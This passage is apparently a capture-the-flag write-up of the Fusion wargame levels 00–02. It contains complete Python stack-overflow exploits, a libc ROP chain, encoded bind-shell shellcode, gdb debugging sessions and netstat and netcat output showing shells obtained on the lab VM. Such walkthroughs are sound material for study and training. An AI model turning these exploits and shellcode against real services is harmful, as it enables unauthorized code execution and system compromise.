        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e7) # @ .data + 39
        p += "AAAA" # padding
        # ecx -> data + 39
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789d0) # @ .data + 16
        # eax -> direccion primer argumento
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        # ecx -> mete la direccion del primer argumento en data + 39
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789eb) # @ .data + 43
        p += "AAAA" # padding
        # ecx -> data +43
        p += pack("<I", off + 0x000238df) # pop eax ; ret
        p += pack("<I", off + 0x001789d9) # @ .data + 25
        # eax -> direccion segundo parametro
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        # mete la direccion del segundo parametro en data + 43
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789ef) # @ .data + 47
        p += "AAAA" # padding
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x0006cc5a) # mov DWORD PTR [ecx],eax ; ret
        # mete en 0 en data + 47
        p += pack("<I", off + 0x00018f4e) # pop ebx ; ret
        p += pack("<I", off + 0x001789c0) # @ .data
        # mete direccion del comando en ebx
        p += pack("<I", off + 0x000d5c1f) # pop edx ; pop ecx ; pop eax ; ret
        p += "AAAA" # padding
        p += pack("<I", off + 0x001789e3) # @ .data + 35
        p += "AAAA" # padding
        # mete direccion donde esta la direccion del comando en ecx
        p += pack("<I", off + 0x00001a9e) # pop edx ; ret
        p += pack("<I", off + 0x001789ef) # @ .data + 47
        # mete direccion de 0 en edx
        p += pack("<I", off + 0x000328e0) # xor eax,eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x00026722) # inc eax ; ret
        p += pack("<I", off + 0x0002dd35) # int 0x80

        s = socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost", 20002))
        #print("Trying libc base: " + str(hex(off)))
        offset = 16
        payload = "A"*(131072 + offset) + p
        op = "E"
        size = pack("<I", len(payload))
        #print("Sending payload: " + str(len(payload)))
        s.send(op + size + payload)
        banner_size = len("[-- Enterprise configuration file encryption service --]\n[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")
        #print("Skipping banner: " + str(banner_size))
        s.recv(banner_size)
        cipher_size = unpack("<I", s.recv(4))[0]
        #print("Cipher size: " + str(cipher_size))
        ciphertext = ""
        while(len(ciphertext) < cipher_size):
                ciphertext += s.recv(cipher_size-len(ciphertext))
        #print("Received a cipher block of {0} bytes ({1})".format(cipher_size, len(ciphertext)))
        #print("Decryting key")
        key = xor_strings(payload, ciphertext)
        #print("Resending ciphered payload")
        s.send(op + size + xor_strings(payload,key))
        s.send("Q")
        s.close()

In my shity VM, it took around 5mins to brute force it although the listener was up within the first 2 mins:

[email protected]:~$ time python fusion02.py

real    5m28.087s  
user    5m22.504s  
sys    0m2.724s  

And the listener is waiting for us:

[email protected]:~$ sudo netstat -natp | grep LISTEN  
tcp        0      0 0.0.0.0:20002           0.0.0.0:*               LISTEN      1017/level02  
tcp        0      0 0.0.0.0:20003           0.0.0.0:*               LISTEN      1005/level03  
tcp        0      0 0.0.0.0:20004           0.0.0.0:*               LISTEN      1002/level04  
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      963/level05  
tcp        0      0 0.0.0.0:20006           0.0.0.0:*               LISTEN      870/level06  
tcp        0      0 0.0.0.0:20008           0.0.0.0:*               LISTEN      837/level08  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      691/sshd  
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      7159/nc  
tcp        0      0 0.0.0.0:20000           0.0.0.0:*               LISTEN      1047/level00  
tcp        0      0 0.0.0.0:20001           0.0.0.0:*               LISTEN      1031/level01  
tcp6       0      0 :::22                   :::*                    LISTEN      691/sshd  
[email protected]:~$ nc localhost 4444  
id  
uid=20002 gid=20002 groups=20002  

Fusion level01 write-up

Fusion level01

This level implements stack/heap/mmap ASLR but the stack is still executable:

The code provided is exactly the same but there is no info leak this time.

We start off overwriting EIP to crash the application and taking a look:

python -c 'print "GET " + "A"*139 + "DDDD" + " HTTP/1.1" + "\x90"*16 + "B"*80'| nc localhost 20001  

Monitoring with gdb we get:

(gdb) attach 1521
Attaching to program: /opt/fusion/bin/level01, process 1521  
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.  
done.  
Loaded symbols for /lib/i386-linux-gnu/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.  
Loaded symbols for /lib/ld-linux.so.2  
0xb7839424 in __kernel_vsyscall ()  
(gdb) set follow-fork-mode child
(gdb) c
Continuing.  
[New process 1584]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 1584]
0x44444444 in ?? ()  

Once it crashes, we take a look at the registers:

(gdb) i r
eax            0x1    1  
ecx            0xb76b48d0    -1217705776  
edx            0xbff7ff10    -1074266352  
ebx            0xb782cff4    -1216163852  
esp            0xbff7ff10    0xbff7ff10  
ebp            0x41414141    0x41414141  
esi            0xbff7ffc4    -1074266172  
edi            0x8049ed1    134520529  
eip            0x44444444    0x44444444  
eflags         0x10246    [ PF ZF IF RF ]  
cs             0x73    115  
ss             0x7b    123  
ds             0x7b    123  
es             0x7b    123  
fs             0x0    0  
gs             0x33    51  

And one by one, we see what is there. We find that esi is pointing to our NOP sled. how convenient!!

(gdb) x/30x $esi
0xbff7ffc4:    0x90909090  0x90909090  0x90909090  0x90909090  
0xbff7ffd4:    0x42424242  0x42424242  0x42424242  0x42424242  
0xbff7ffe4:    0x42424242  0x42424242  0x42424242  0x42424242  
0xbff7fff4:    0x42424242  0x42424242  0x42424242  0x42424242  
0xbff80004:    0x42424242  0x42424242  0x42424242  0x42424242  
0xbff80014:    0x42424242  0x42424242  0x42424242  0x42424242  
0xbff80024:    0x0000000a  0x00000000  0x00000000  0x00000000  
0xbff80034:    0x00000000  0x00000000  

So if we find the opcodes for jmp esi in .text we will be able to jump to our shellcode:

[email protected]:~$ /opt/metasploit-framework/msfelfscan -j esi /opt/fusion/bin/level01  
[/opt/fusion/bin/level01]

No luck, but we can still use the "jmp esp" technique to jump to the address right after our return address and we can place a "jmp esi" there since we control it.

Lets look for the jmp esp opcodes:

[email protected]:~$ /opt/metasploit-framework/msfelfscan -j esp /opt/fusion/bin/level01  
[/opt/fusion/bin/level01]
0x08049f4f jmp esp  

Nice! now, the opcodes for "jmp esi" are "ff06"

So our exploit should look like:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20001))

shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA"

ret = "\x4f\x9f\x04\x08" #jmp esp  
jmpesi = "\x90\x90\x06\xff" # jmp esi opcodes  
payload =  "GET " + "A"*139 + ret + jmpesi + " HTTP/1.1 " + "\x90"*16 +  shellcode  
s.send(payload)  
s.close()  

Lets check it by setting a breakpoint just before "fix_path" ret opcode and reviewing the memory at that point:

(gdb) b *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.  
(gdb) c
Continuing.  
[New process 1709]
[Switching to process 1709]

Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x41414149  
) at level01/level01.c:9
9    level01/level01.c: No such file or directory.  
    in level01/level01.c
(gdb) x/x $esp
0xbff7ff0c:    0x08049f4f  
(gdb) x/i 0x08049f4f
   0x8049f4f:    jmp    *%esp
(gdb) x/x $esp+4
0xbff7ff10:    0x9090e6ff  
(gdb) x/i $esp+4
   0xbff7ff10:    jmp    *%esi
(gdb) x/30x $esi
0xbff7ffc8:    0x90909020  0x90909090  0x90909090  0x90909090  
0xbff7ffd8:    0xeb02eb90  0xfff9e805  0x815fffff  0xffffdfef  
0xbff7ffe8:    0x295e57ff  0xb8c180c9  0x412c078a  0x4704e0c0  
0xbff7fff8:    0x412c0702  0x47460688  0x44ede249  0x46414d42  
0xbff80008:    0x49414541  0x46444d4a  0x46414541  0x4f4a4941  
0xbff80018:    0x47414c42  0x494e4d47  0x4e424441  0x47434643  
0xbff80028:    0x42494747  0x45434e44  0x46474744  0x4f4a4944  
0xbff80038:    0x424b4742  0x46424641  

Oppps, with the new "jmp esi" opcodes in the payload, now esi points to a \x20 (space) so if we continue execution, it will segfault at 0xbff7ffc8:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0xbff7ffc8 in ?? ()  

So lets remove the whitespace after "HTTP/1.1" to make our exploit work and run it again:

New payload:

ret = "\x4f\x9f\x04\x08" #jmp esp  
jmpesi = "\xff\xe6\x90\x90" # jmp esi opcodes  
payload =  "GET " + "A"*139 + ret + jmpesi + " HTTP/1.1" + "\x90"*16 +  shellcode  
[email protected]:~$ python fusion01.py  
[email protected]:~$ sudo netstat -natp | grep LISTEN  
tcp        0      0 0.0.0.0:20002           0.0.0.0:*               LISTEN      1539/level02  
tcp        0      0 0.0.0.0:20003           0.0.0.0:*               LISTEN      1533/level03  
tcp        0      0 0.0.0.0:20004           0.0.0.0:*               LISTEN      1530/level04  
tcp        0      0 0.0.0.0:20005           0.0.0.0:*               LISTEN      1527/level05  
tcp        0      0 0.0.0.0:20006           0.0.0.0:*               LISTEN      1524/level06  
tcp        0      0 0.0.0.0:20008           0.0.0.0:*               LISTEN      911/level08  
tcp        0      0 0.0.0.0:5074            0.0.0.0:*               LISTEN      1737/level01  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      743/sshd  
tcp        0      0 0.0.0.0:20000           0.0.0.0:*               LISTEN      1544/level00  
tcp        0      0 0.0.0.0:20001           0.0.0.0:*               LISTEN      1521/level01  
tcp6       0      0 :::22                   :::*                    LISTEN      743/sshd  
[email protected]:~$ nc localhost 5074  
id  
uid=20001 gid=20001 groups=20001  

Fusion level00 write-up

Fusion level00

This level has no protections at all:

The code looks like:

#include "../common/common.c"

int fix_path(char *path)  
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()  
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)  
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}

The goal seems to overflow the "resolved" buffer and use a return access in the "buffer" somewhere after the "HTTP/1.1" protocol.

First we need to know what is the right offset to overflow the "resolved" buffer. It should be 128, but with compilers you never know.

We will be monitoring the application with gdb in its follow fork child mode:

[email protected]:~$ sudo gdb -q /opt/fusion/bin/level00  
Reading symbols from /opt/fusion/bin/level00...done.  
(gdb) attach 1191
Attaching to program: /opt/fusion/bin/level00, process 1191  
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/i386-linux-gnu/libc-2.13.so...done.  
done.  
Loaded symbols for /lib/i386-linux-gnu/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.  
Loaded symbols for /lib/ld-linux.so.2  
0xb7873424 in __kernel_vsyscall ()  
(gdb)  set follow-fork-mode child
(gdb) c
Continuing.  

We start with 128 As and keep trying to find the right offset that is a path of 140 bytes (Im too lazy to use msg patters :) ):

[email protected]:~$ python -c 'print "GET " + "A"*139 + "DDDD" + " HTTP/1.1"' | nc localhost 20000  
[debug] buffer is at 0xbfcdf1c8 :-)

We can see in gdb that we got the right offset:

(gdb) attach 1399
Attaching to program: /usr/bin/id, process 1399  
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.  
Loaded symbols for /lib/ld-linux.so.2  
0xb7829424 in __kernel_vsyscall ()  
(gdb) c
Continuing.  
[New process 1445]

Program received signal SIGSEGV, Segmentation fault.  
[Switching to process 1445]
0x44444444 in ?? ()  

Now lets use the buffer address returned by the application + 160 bytes to land in our nop sled and reuse one of our shellcodes:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20000))

shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA"

ret = "\x68\xf2\xcd\xbf" #0xbfcdf268  
payload =  "GET " + "A"*139 + ret + " HTTP/1.1 " + "\x90"*16 +  shellcode  
s.send(payload)  
s.close()  

After running the exploit we can collect our shell:

[email protected]:~$ python fusion00.py  
[email protected]:~$ nc localhost 5074  
id  
uid=20000 gid=20000 groups=20000